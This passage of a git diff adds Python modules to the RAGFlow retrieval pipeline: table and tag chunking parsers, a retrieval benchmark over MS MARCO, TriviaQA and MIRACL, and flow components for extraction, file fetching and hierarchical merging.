elif re.search(r"\.(txt|csv)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + txt = get_text(filename, binary) + lines = txt.split("\n") + fails = [] + headers = lines[0].split(kwargs.get("delimiter", "\t")) + rows = [] + for i, line in enumerate(lines[1:]): + if i < from_page: + continue + if i >= to_page: + break + row = [field for field in line.split(kwargs.get("delimiter", "\t"))] + if len(row) != len(headers): + fails.append(str(i)) + continue + rows.append(row) + + callback(0.3, ("Extract records: {}~{}".format(from_page, min(len(lines), to_page)) + (f"{len(fails)} failure, line: %s..." % (",".join(fails[:3])) if fails else ""))) + + dfs = [pd.DataFrame(np.array(rows), columns=headers)] + + else: + raise NotImplementedError("file type not supported yet(excel, text, csv supported)") + + res = [] + PY = Pinyin() + fieds_map = {"text": "_tks", "int": "_long", "keyword": "_kwd", "float": "_flt", "datetime": "_dt", "bool": "_kwd"} + for df in dfs: + for n in ["id", "_id", "index", "idx"]: + if n in df.columns: + del df[n] + clmns = df.columns.values + if len(clmns) != len(set(clmns)): + col_counts = Counter(clmns) + duplicates = [col for col, count in col_counts.items() if count > 1] + if duplicates: + raise ValueError(f"Duplicate column names detected: {duplicates}\nFrom: {clmns}") + + txts = list(copy.deepcopy(clmns)) + py_clmns = [PY.get_pinyins(re.sub(r"(/.*|（[^（）]+?）|\([^()]+?\))", "", str(n)), "_")[0] for n in clmns] + clmn_tys = [] + for j in range(len(clmns)): + cln, ty = column_data_type(df[clmns[j]]) + clmn_tys.append(ty) + df[clmns[j]] = cln + if ty == "text": + txts.extend([str(c) for c in cln if c]) + clmns_map = [(py_clmns[i].lower() + fieds_map[clmn_tys[i]], str(clmns[i]).replace("_", " ")) for i in range(len(clmns))] + + eng = lang.lower() == "english" # is_english(txts) + for ii, row in df.iterrows(): + d = {"docnm_kwd": filename, "title_tks": rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", filename))} + row_txt = [] + for j in range(len(clmns)): + if row[clmns[j]] is None: + continue + if not str(row[clmns[j]]): + continue + if not isinstance(row[clmns[j]], pd.Series) and pd.isna(row[clmns[j]]): + continue + fld = clmns_map[j][0] + d[fld] = row[clmns[j]] if clmn_tys[j] != "text" else rag_tokenizer.tokenize(row[clmns[j]]) + row_txt.append("{}:{}".format(clmns[j], row[clmns[j]])) + if not row_txt: + continue + tokenize(d, "; ".join(row_txt), eng) + res.append(d) + + KnowledgebaseService.update_parser_config(kwargs["kb_id"], {"field_map": {k: v for k, v in clmns_map}}) + callback(0.35, "") + + return res + + +if __name__ == "__main__": + import sys + + def dummy(prog=None, msg=""): + pass + + chunk(sys.argv[1], callback=dummy) diff --git a/rag/app/tag.py b/rag/app/tag.py new file mode 100644 index 0000000..de2ce0f --- /dev/null +++ b/rag/app/tag.py @@ -0,0 +1,157 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import re +import csv +from copy import deepcopy + +from deepdoc.parser.utils import get_text +from rag.app.qa import Excel +from rag.nlp import rag_tokenizer + + +def beAdoc(d, q, a, eng, row_num=-1): + d["content_with_weight"] = q + d["content_ltks"] = rag_tokenizer.tokenize(q) + d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"]) + d["tag_kwd"] = [t.strip().replace(".", "_") for t in a.split(",") if t.strip()] + if row_num >= 0: + d["top_int"] = [row_num] + return d + + +def chunk(filename, binary=None, lang="Chinese", callback=None, **kwargs): + """ + Excel and csv(txt) format files are supported. + If the file is in excel format, there should be 2 column content and tags without header. + And content column is ahead of tags column. + And it's O.K if it has multiple sheets as long as the columns are rightly composed. + + If it's in csv format, it should be UTF-8 encoded. Use TAB as delimiter to separate content and tags. + + All the deformed lines will be ignored. + Every pair will be treated as a chunk. + """ + eng = lang.lower() == "english" + res = [] + doc = { + "docnm_kwd": filename, + "title_tks": rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", filename)) + } + if re.search(r"\.xlsx?$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + excel_parser = Excel() + for ii, (q, a) in enumerate(excel_parser(filename, binary, callback)): + res.append(beAdoc(deepcopy(doc), q, a, eng, ii)) + return res + + elif re.search(r"\.(txt)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + txt = get_text(filename, binary) + lines = txt.split("\n") + comma, tab = 0, 0 + for line in lines: + if len(line.split(",")) == 2: + comma += 1 + if len(line.split("\t")) == 2: + tab += 1 + delimiter = "\t" if tab >= comma else "," + + fails = [] + content = "" + i = 0 + while i < len(lines): + arr = lines[i].split(delimiter) + if len(arr) != 2: + content += "\n" + lines[i] + elif len(arr) == 2: + content += "\n" + arr[0] + res.append(beAdoc(deepcopy(doc), content, arr[1], eng, i)) + content = "" + i += 1 + if len(res) % 999 == 0: + callback(len(res) * 0.6 / len(lines), ("Extract TAG: {}".format(len(res)) + ( + f"{len(fails)} failure, line: %s..." % (",".join(fails[:3])) if fails else ""))) + + callback(0.6, ("Extract TAG: {}".format(len(res)) + ( + f"{len(fails)} failure, line: %s..." % (",".join(fails[:3])) if fails else ""))) + + return res + + elif re.search(r"\.(csv)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + txt = get_text(filename, binary) + lines = txt.split("\n") + + fails = [] + content = "" + res = [] + reader = csv.reader(lines) + + for i, row in enumerate(reader): + row = [r.strip() for r in row if r.strip()] + if len(row) != 2: + content += "\n" + lines[i] + elif len(row) == 2: + content += "\n" + row[0] + res.append(beAdoc(deepcopy(doc), content, row[1], eng, i)) + content = "" + if len(res) % 999 == 0: + callback(len(res) * 0.6 / len(lines), ("Extract Tags: {}".format(len(res)) + ( + f"{len(fails)} failure, line: %s..." % (",".join(fails[:3])) if fails else ""))) + + callback(0.6, ("Extract TAG : {}".format(len(res)) + ( + f"{len(fails)} failure, line: %s..." % (",".join(fails[:3])) if fails else ""))) + return res + + raise NotImplementedError( + "Excel, csv(txt) format files are supported.") + + +def label_question(question, kbs): + from api.db.services.knowledgebase_service import KnowledgebaseService + from graphrag.utils import get_tags_from_cache, set_tags_to_cache + from api import settings + tags = None + tag_kb_ids = [] + for kb in kbs: + if kb.parser_config.get("tag_kb_ids"): + tag_kb_ids.extend(kb.parser_config["tag_kb_ids"]) + if tag_kb_ids: + all_tags = get_tags_from_cache(tag_kb_ids) + if not all_tags: + all_tags = settings.retrievaler.all_tags_in_portion(kb.tenant_id, tag_kb_ids) + set_tags_to_cache(tags=all_tags, kb_ids=tag_kb_ids) + else: + all_tags = json.loads(all_tags) + tag_kbs = KnowledgebaseService.get_by_ids(tag_kb_ids) + if not tag_kbs: + return tags + tags = settings.retrievaler.tag_query(question, + list(set([kb.tenant_id for kb in tag_kbs])), + tag_kb_ids, + all_tags, + kb.parser_config.get("topn_tags", 3) + ) + return tags + + +if __name__ == "__main__": + import sys + + def dummy(prog=None, msg=""): + pass + chunk(sys.argv[1], from_page=0, to_page=10, callback=dummy) \ No newline at end of file diff --git a/rag/benchmark.py b/rag/benchmark.py new file mode 100644 index 0000000..31a6c92 --- /dev/null +++ b/rag/benchmark.py @@ -0,0 +1,308 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import os +import sys +import time +import argparse +from collections import defaultdict + +from api.db import LLMType +from api.db.services.llm_service import LLMBundle +from api.db.services.knowledgebase_service import KnowledgebaseService +from api import settings +from api.utils import get_uuid +from rag.nlp import tokenize, search +from ranx import evaluate +from ranx import Qrels, Run +import pandas as pd +from tqdm import tqdm + +global max_docs +max_docs = sys.maxsize + + +class Benchmark: + def __init__(self, kb_id): + self.kb_id = kb_id + e, self.kb = KnowledgebaseService.get_by_id(kb_id) + self.similarity_threshold = self.kb.similarity_threshold + self.vector_similarity_weight = self.kb.vector_similarity_weight + self.embd_mdl = LLMBundle(self.kb.tenant_id, LLMType.EMBEDDING, llm_name=self.kb.embd_id, lang=self.kb.language) + self.tenant_id = '' + self.index_name = '' + self.initialized_index = False + + def _get_retrieval(self, qrels): + # Need to wait for the ES and Infinity index to be ready + time.sleep(20) + run = defaultdict(dict) + query_list = list(qrels.keys()) + for query in query_list: + ranks = settings.retrievaler.retrieval(query, self.embd_mdl, self.tenant_id, [self.kb.id], 1, 30, + 0.0, self.vector_similarity_weight) + if len(ranks["chunks"]) == 0: + print(f"deleted query: {query}") + del qrels[query] + continue + for c in ranks["chunks"]: + c.pop("vector", None) + run[query][c["chunk_id"]] = c["similarity"] + return run + + def embedding(self, docs): + texts = [d["content_with_weight"] for d in docs] + embeddings, _ = self.embd_mdl.encode(texts) + assert len(docs) == len(embeddings) + vector_size = 0 + for i, d in enumerate(docs): + v = embeddings[i] + vector_size = len(v) + d["q_%d_vec" % len(v)] = v + return docs, vector_size + + def init_index(self, vector_size: int): + if self.initialized_index: + return + if settings.docStoreConn.indexExist(self.index_name, self.kb_id): + settings.docStoreConn.deleteIdx(self.index_name, self.kb_id) + settings.docStoreConn.createIdx(self.index_name, self.kb_id, vector_size) + self.initialized_index = True + + def ms_marco_index(self, file_path, index_name): + qrels = defaultdict(dict) + texts = defaultdict(dict) + docs_count = 0 + docs = [] + filelist = sorted(os.listdir(file_path)) + + for fn in filelist: + if docs_count >= max_docs: + break + if not fn.endswith(".parquet"): + continue + data = pd.read_parquet(os.path.join(file_path, fn)) + for i in tqdm(range(len(data)), colour="green", desc="Tokenizing:" + fn): + if docs_count >= max_docs: + break + query = data.iloc[i]['query'] + for rel, text in zip(data.iloc[i]['passages']['is_selected'], data.iloc[i]['passages']['passage_text']): + d = { + "id": get_uuid(), + "kb_id": self.kb.id, + "docnm_kwd": "xxxxx", + "doc_id": "ksksks" + } + tokenize(d, text, "english") + docs.append(d) + texts[d["id"]] = text + qrels[query][d["id"]] = int(rel) + if len(docs) >= 32: + docs_count += len(docs) + docs, vector_size = self.embedding(docs) + self.init_index(vector_size) + settings.docStoreConn.insert(docs, self.index_name, self.kb_id) + docs = [] + + if docs: + docs, vector_size = self.embedding(docs) + self.init_index(vector_size) + settings.docStoreConn.insert(docs, self.index_name, self.kb_id) + return qrels, texts + + def trivia_qa_index(self, file_path, index_name): + qrels = defaultdict(dict) + texts = defaultdict(dict) + docs_count = 0 + docs = [] + filelist = sorted(os.listdir(file_path)) + for fn in filelist: + if docs_count >= max_docs: + break + if not fn.endswith(".parquet"): + continue + data = pd.read_parquet(os.path.join(file_path, fn)) + for i in tqdm(range(len(data)), colour="green", desc="Indexing:" + fn): + if docs_count >= max_docs: + break + query = data.iloc[i]['question'] + for rel, text in zip(data.iloc[i]["search_results"]['rank'], + data.iloc[i]["search_results"]['search_context']): + d = { + "id": get_uuid(), + "kb_id": self.kb.id, + "docnm_kwd": "xxxxx", + "doc_id": "ksksks" + } + tokenize(d, text, "english") + docs.append(d) + texts[d["id"]] = text + qrels[query][d["id"]] = int(rel) + if len(docs) >= 32: + docs_count += len(docs) + docs, vector_size = self.embedding(docs) + self.init_index(vector_size) + settings.docStoreConn.insert(docs,self.index_name) + docs = [] + + docs, vector_size = self.embedding(docs) + self.init_index(vector_size) + settings.docStoreConn.insert(docs, self.index_name) + return qrels, texts + + def miracl_index(self, file_path, corpus_path, index_name): + corpus_total = {} + for corpus_file in os.listdir(corpus_path): + tmp_data = pd.read_json(os.path.join(corpus_path, corpus_file), lines=True) + for index, i in tmp_data.iterrows(): + corpus_total[i['docid']] = i['text'] + + topics_total = {} + for topics_file in os.listdir(os.path.join(file_path, 'topics')): + if 'test' in topics_file: + continue + tmp_data = pd.read_csv(os.path.join(file_path, 'topics', topics_file), sep='\t', names=['qid', 'query']) + for index, i in tmp_data.iterrows(): + topics_total[i['qid']] = i['query'] + + qrels = defaultdict(dict) + texts = defaultdict(dict) + docs_count = 0 + docs = [] + for qrels_file in os.listdir(os.path.join(file_path, 'qrels')): + if 'test' in qrels_file: + continue + if docs_count >= max_docs: + break + + tmp_data = pd.read_csv(os.path.join(file_path, 'qrels', qrels_file), sep='\t', + names=['qid', 'Q0', 'docid', 'relevance']) + for i in tqdm(range(len(tmp_data)), colour="green", desc="Indexing:" + qrels_file): + if docs_count >= max_docs: + break + query = topics_total[tmp_data.iloc[i]['qid']] + text = corpus_total[tmp_data.iloc[i]['docid']] + rel = tmp_data.iloc[i]['relevance'] + d = { + "id": get_uuid(), + "kb_id": self.kb.id, + "docnm_kwd": "xxxxx", + "doc_id": "ksksks" + } + tokenize(d, text, 'english') + docs.append(d) + texts[d["id"]] = text + qrels[query][d["id"]] = int(rel) + if len(docs) >= 32: + docs_count += len(docs) + docs, vector_size = self.embedding(docs) + self.init_index(vector_size) + settings.docStoreConn.insert(docs, self.index_name) + docs = [] + + docs, vector_size = self.embedding(docs) + self.init_index(vector_size) + settings.docStoreConn.insert(docs, self.index_name) + return qrels, texts + + def save_results(self, qrels, run, texts, dataset, file_path): + keep_result = [] + run_keys = list(run.keys()) + for run_i in tqdm(range(len(run_keys)), desc="Calculating ndcg@10 for single query"): + key = run_keys[run_i] + keep_result.append({'query': key, 'qrel': qrels[key], 'run': run[key], + 'ndcg@10': evaluate({key: qrels[key]}, {key: run[key]}, "ndcg@10")}) + keep_result = sorted(keep_result, key=lambda kk: kk['ndcg@10']) + with open(os.path.join(file_path, dataset + 'result.md'), 'w', encoding='utf-8') as f: + f.write('## Score For Every Query\n') + for keep_result_i in keep_result: + f.write('### query: ' + keep_result_i['query'] + ' ndcg@10:' + str(keep_result_i['ndcg@10']) + '\n') + scores = [[i[0], i[1]] for i in keep_result_i['run'].items()] + scores = sorted(scores, key=lambda kk: kk[1]) + for score in scores[:10]: + f.write('- text: ' + str(texts[score[0]]) + '\t qrel: ' + str(score[1]) + '\n') + json.dump(qrels, open(os.path.join(file_path, dataset + '.qrels.json'), "w+", encoding='utf-8'), indent=2) + json.dump(run, open(os.path.join(file_path, dataset + '.run.json'), "w+", encoding='utf-8'), indent=2) + print(os.path.join(file_path, dataset + '_result.md'), 'Saved!') + + def __call__(self, dataset, file_path, miracl_corpus=''): + if dataset == "ms_marco_v1.1": + self.tenant_id = "benchmark_ms_marco_v11" + self.index_name = search.index_name(self.tenant_id) + qrels, texts = self.ms_marco_index(file_path, "benchmark_ms_marco_v1.1") + run = self._get_retrieval(qrels) + print(dataset, evaluate(Qrels(qrels), Run(run), ["ndcg@10", "map@5", "mrr@10"])) + self.save_results(qrels, run, texts, dataset, file_path) + if dataset == "trivia_qa": + self.tenant_id = "benchmark_trivia_qa" + self.index_name = search.index_name(self.tenant_id) + qrels, texts = self.trivia_qa_index(file_path, "benchmark_trivia_qa") + run = self._get_retrieval(qrels) + print(dataset, evaluate(Qrels(qrels), Run(run), ["ndcg@10", "map@5", "mrr@10"])) + self.save_results(qrels, run, texts, dataset, file_path) + if dataset == "miracl": + for lang in ['ar', 'bn', 'de', 'en', 'es', 'fa', 'fi', 'fr', 'hi', 'id', 'ja', 'ko', 'ru', 'sw', 'te', 'th', + 'yo', 'zh']: + if not os.path.isdir(os.path.join(file_path, 'miracl-v1.0-' + lang)): + print('Directory: ' + os.path.join(file_path, 'miracl-v1.0-' + lang) + ' not found!') + continue + if not os.path.isdir(os.path.join(file_path, 'miracl-v1.0-' + lang, 'qrels')): + print('Directory: ' + os.path.join(file_path, 'miracl-v1.0-' + lang, 'qrels') + 'not found!') + continue + if not os.path.isdir(os.path.join(file_path, 'miracl-v1.0-' + lang, 'topics')): + print('Directory: ' + os.path.join(file_path, 'miracl-v1.0-' + lang, 'topics') + 'not found!') + continue + if not os.path.isdir(os.path.join(miracl_corpus, 'miracl-corpus-v1.0-' + lang)): + print('Directory: ' + os.path.join(miracl_corpus, 'miracl-corpus-v1.0-' + lang) + ' not found!') + continue + self.tenant_id = "benchmark_miracl_" + lang + self.index_name = search.index_name(self.tenant_id) + self.initialized_index = False + qrels, texts = self.miracl_index(os.path.join(file_path, 'miracl-v1.0-' + lang), + os.path.join(miracl_corpus, 'miracl-corpus-v1.0-' + lang), + "benchmark_miracl_" + lang) + run = self._get_retrieval(qrels) + print(dataset, evaluate(Qrels(qrels), Run(run), ["ndcg@10", "map@5", "mrr@10"])) + self.save_results(qrels, run, texts, dataset, file_path) + + +if __name__ == '__main__': + print('*****************RAGFlow Benchmark*****************') + parser = argparse.ArgumentParser(usage="benchmark.py [])", description='RAGFlow Benchmark') + parser.add_argument('max_docs', metavar='max_docs', type=int, help='max docs to evaluate') + parser.add_argument('kb_id', metavar='kb_id', help='knowledgebase id') + parser.add_argument('dataset', metavar='dataset', help='dataset name, shall be one of ms_marco_v1.1(https://huggingface.co/datasets/microsoft/ms_marco), trivia_qa(https://huggingface.co/datasets/mandarjoshi/trivia_qa>), miracl(https://huggingface.co/datasets/miracl/miracl') + parser.add_argument('dataset_path', metavar='dataset_path', help='dataset path') + parser.add_argument('miracl_corpus_path', metavar='miracl_corpus_path', nargs='?', default="", help='miracl corpus path. Only needed when dataset is miracl') + + args = parser.parse_args() + max_docs = args.max_docs + kb_id = args.kb_id + ex = Benchmark(kb_id) + + dataset = args.dataset + dataset_path = args.dataset_path + + if dataset == "ms_marco_v1.1" or dataset == "trivia_qa": + ex(dataset, dataset_path) + elif dataset == "miracl": + if len(args) < 5: + print('Please input the correct parameters!') + exit(1) + miracl_corpus_path = args[4] + ex(dataset, dataset_path, miracl_corpus=args.miracl_corpus_path) + else: + print("Dataset: ", dataset, "not supported!") diff --git a/rag/flow/__init__.py b/rag/flow/__init__.py new file mode 100644 index 0000000..ca6202e --- /dev/null +++ b/rag/flow/__init__.py @@ -0,0 +1,58 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import importlib +import inspect +import pkgutil +from pathlib import Path +from types import ModuleType +from typing import Dict, Type + +__all_classes: Dict[str, Type] = {} + +_pkg_dir = Path(__file__).resolve().parent +_pkg_name = __name__ + + +def _should_skip_module(mod_name: str) -> bool: + leaf = mod_name.rsplit(".", 1)[-1] + return leaf in {"__init__"} or leaf.startswith("__") or leaf.startswith("_") or leaf.startswith("base") + + +def _import_submodules() -> None: + for modinfo in pkgutil.walk_packages([str(_pkg_dir)], prefix=_pkg_name + "."): # noqa: F821 + mod_name = modinfo.name + if _should_skip_module(mod_name): # noqa: F821 + continue + try: + module = importlib.import_module(mod_name) + _extract_classes_from_module(module) # noqa: F821 + except ImportError as e: + print(f"Warning: Failed to import module {mod_name}: {e}") + + +def _extract_classes_from_module(module: ModuleType) -> None: + for name, obj in inspect.getmembers(module): + if inspect.isclass(obj) and obj.__module__ == module.__name__ and not name.startswith("_"): + __all_classes[name] = obj + globals()[name] = obj + + +_import_submodules() + +__all__ = list(__all_classes.keys()) + ["__all_classes"] + +del _pkg_dir, _pkg_name, _import_submodules, _extract_classes_from_module diff --git a/rag/flow/base.py b/rag/flow/base.py new file mode 100644 index 0000000..5edc280 --- /dev/null +++ b/rag/flow/base.py @@ -0,0 +1,61 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import time +from functools import partial +from typing import Any +import trio +from agent.component.base import ComponentBase, ComponentParamBase +from api.utils.api_utils import timeout + + +class ProcessParamBase(ComponentParamBase): + def __init__(self): + super().__init__() + self.timeout = 100000000 + self.persist_logs = True + + +class ProcessBase(ComponentBase): + def __init__(self, pipeline, id, param: ProcessParamBase): + super().__init__(pipeline, id, param) + if hasattr(self._canvas, "callback"): + self.callback = partial(self._canvas.callback, id) + else: + self.callback = partial(lambda *args, **kwargs: None, id) + + async def invoke(self, **kwargs) -> dict[str, Any]: + self.set_output("_created_time", time.perf_counter()) + for k, v in kwargs.items(): + self.set_output(k, v) + try: + with trio.fail_after(self._param.timeout): + await self._invoke(**kwargs) + self.callback(1, "Done") + except Exception as e: + if self.get_exception_default_value(): + self.set_exception_default_value() + else: + self.set_output("_ERROR", str(e)) + logging.exception(e) + self.callback(-1, str(e)) + self.set_output("_elapsed_time", time.perf_counter() - self.output("_created_time")) + return self.output() + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10 * 60))) + async def _invoke(self, **kwargs): + raise NotImplementedError() diff --git a/rag/flow/extractor/__init__.py b/rag/flow/extractor/__init__.py new file mode 100644 index 0000000..b466337 --- /dev/null +++ b/rag/flow/extractor/__init__.py @@ -0,0 +1,15 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + diff --git a/rag/flow/extractor/extractor.py b/rag/flow/extractor/extractor.py new file mode 100644 index 0000000..7046414 --- /dev/null +++ b/rag/flow/extractor/extractor.py @@ -0,0 +1,63 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +import random +from copy import deepcopy +from agent.component.llm import LLMParam, LLM +from rag.flow.base import ProcessBase, ProcessParamBase + + +class ExtractorParam(ProcessParamBase, LLMParam): + def __init__(self): + super().__init__() + self.field_name = "" + + def check(self): + super().check() + self.check_empty(self.field_name, "Result Destination") + + +class Extractor(ProcessBase, LLM): + component_name = "Extractor" + + async def _invoke(self, **kwargs): + self.set_output("output_format", "chunks") + self.callback(random.randint(1, 5) / 100.0, "Start to generate.") + inputs = self.get_input_elements() + chunks = [] + chunks_key = "" + args = {} + for k, v in inputs.items(): + args[k] = v["value"] + if isinstance(args[k], list): + chunks = deepcopy(args[k]) + chunks_key = k + + if chunks: + prog = 0 + for i, ck in enumerate(chunks): + args[chunks_key] = ck["text"] + msg, sys_prompt = self._sys_prompt_and_msg([], args) + msg.insert(0, {"role": "system", "content": sys_prompt}) + ck[self._param.field_name] = self._generate(msg) + prog += 1./len(chunks) + if i % (len(chunks)//100+1) == 1: + self.callback(prog, f"{i+1} / {len(chunks)}") + self.set_output("chunks", chunks) + else: + msg, sys_prompt = self._sys_prompt_and_msg([], args) + msg.insert(0, {"role": "system", "content": sys_prompt}) + self.set_output("chunks", [{self._param.field_name: self._generate(msg)}]) + + diff --git a/rag/flow/extractor/schema.py b/rag/flow/extractor/schema.py new file mode 100644 index 0000000..0a9404e --- /dev/null +++ b/rag/flow/extractor/schema.py @@ -0,0 +1,38 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +from typing import Any, Literal + +from pydantic import BaseModel, ConfigDict, Field + + +class ExtractorFromUpstream(BaseModel): + created_time: float | None = Field(default=None, alias="_created_time") + elapsed_time: float | None = Field(default=None, alias="_elapsed_time") + + name: str + file: dict | None = Field(default=None) + chunks: list[dict[str, Any]] | None = Field(default=None) + + output_format: Literal["json", "markdown", "text", "html", "chunks"] | None = Field(default=None) + + json_result: list[dict[str, Any]] | None = Field(default=None, alias="json") + markdown_result: str | None = Field(default=None, alias="markdown") + text_result: str | None = Field(default=None, alias="text") + html_result: str | None = Field(default=None, alias="html") + + model_config = ConfigDict(populate_by_name=True, extra="forbid") + + # def to_dict(self, *, exclude_none: bool = True) -> dict: + # return self.model_dump(by_alias=True, exclude_none=exclude_none) diff --git a/rag/flow/file.py b/rag/flow/file.py new file mode 100644 index 0000000..75ec211 --- /dev/null +++ b/rag/flow/file.py @@ -0,0 +1,50 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from api.db.services.document_service import DocumentService +from rag.flow.base import ProcessBase, ProcessParamBase + + +class FileParam(ProcessParamBase): + def __init__(self): + super().__init__() + + def check(self): + pass + + def get_input_form(self) -> dict[str, dict]: + return {} + + +class File(ProcessBase): + component_name = "File" + + async def _invoke(self, **kwargs): + if self._canvas._doc_id: + e, doc = DocumentService.get_by_id(self._canvas._doc_id) + if not e: + self.set_output("_ERROR", f"Document({self._canvas._doc_id}) not found!") + return + + #b, n = File2DocumentService.get_storage_address(doc_id=self._canvas._doc_id) + #self.set_output("blob", STORAGE_IMPL.get(b, n)) + self.set_output("name", doc.name) + else: + file = kwargs.get("file") + self.set_output("name", file["name"]) + self.set_output("file", file) + #self.set_output("blob", FileService.get_blob(file["created_by"], file["id"])) + + self.callback(1, "File fetched.") diff --git a/rag/flow/hierarchical_merger/__init__.py b/rag/flow/hierarchical_merger/__init__.py new file mode 100644 index 0000000..b466337 --- /dev/null +++ b/rag/flow/hierarchical_merger/__init__.py @@ -0,0 +1,15 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + diff --git a/rag/flow/hierarchical_merger/hierarchical_merger.py b/rag/flow/hierarchical_merger/hierarchical_merger.py new file mode 100644 index 0000000..dda2bcf --- /dev/null +++ b/rag/flow/hierarchical_merger/hierarchical_merger.py @@ -0,0 +1,186 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import random +import re +from copy import deepcopy +from functools import partial + +import trio + +from api.utils import get_uuid +from api.utils.base64_image import id2image, image2id +from deepdoc.parser.pdf_parser import RAGFlowPdfParser +from rag.flow.base import ProcessBase, ProcessParamBase +from rag.flow.hierarchical_merger.schema import HierarchicalMergerFromUpstream +from rag.nlp import concat_img +from rag.utils.storage_factory import STORAGE_IMPL + + +class HierarchicalMergerParam(ProcessParamBase): + def __init__(self): + super().__init__() + self.levels = [] + self.hierarchy = None + + def check(self): + self.check_empty(self.levels, "Hierarchical setups.") + self.check_empty(self.hierarchy, "Hierarchy number.") + + def get_input_form(self) -> dict[str, dict]: + return {} + + +class HierarchicalMerger(ProcessBase): + component_name = "HierarchicalMerger" + + async def _invoke(self, **kwargs): + try: + from_upstream = HierarchicalMergerFromUpstream.model_validate(kwargs) + except Exception as e: + self.set_output("_ERROR", f"Input error: {str(e)}") + return + + self.set_output("output_format", "chunks") + self.callback(random.randint(1, 5) / 100.0, "Start to merge hierarchically.") + if from_upstream.output_format in ["markdown", "text", "html"]: + if from_upstream.output_format == "markdown": + payload = from_upstream.markdown_result + elif from_upstream.output_format == "text": + payload = from_upstream.text_result + else: # == "html" + payload = from_upstream.html_result + + if not payload: + payload = "" + + lines = [ln for ln in payload.split("\n") if ln] + else: + arr = from_upstream.chunks if from_upstream.output_format == "chunks" else from_upstream.json_result + lines = [o.get("text", "") for o in 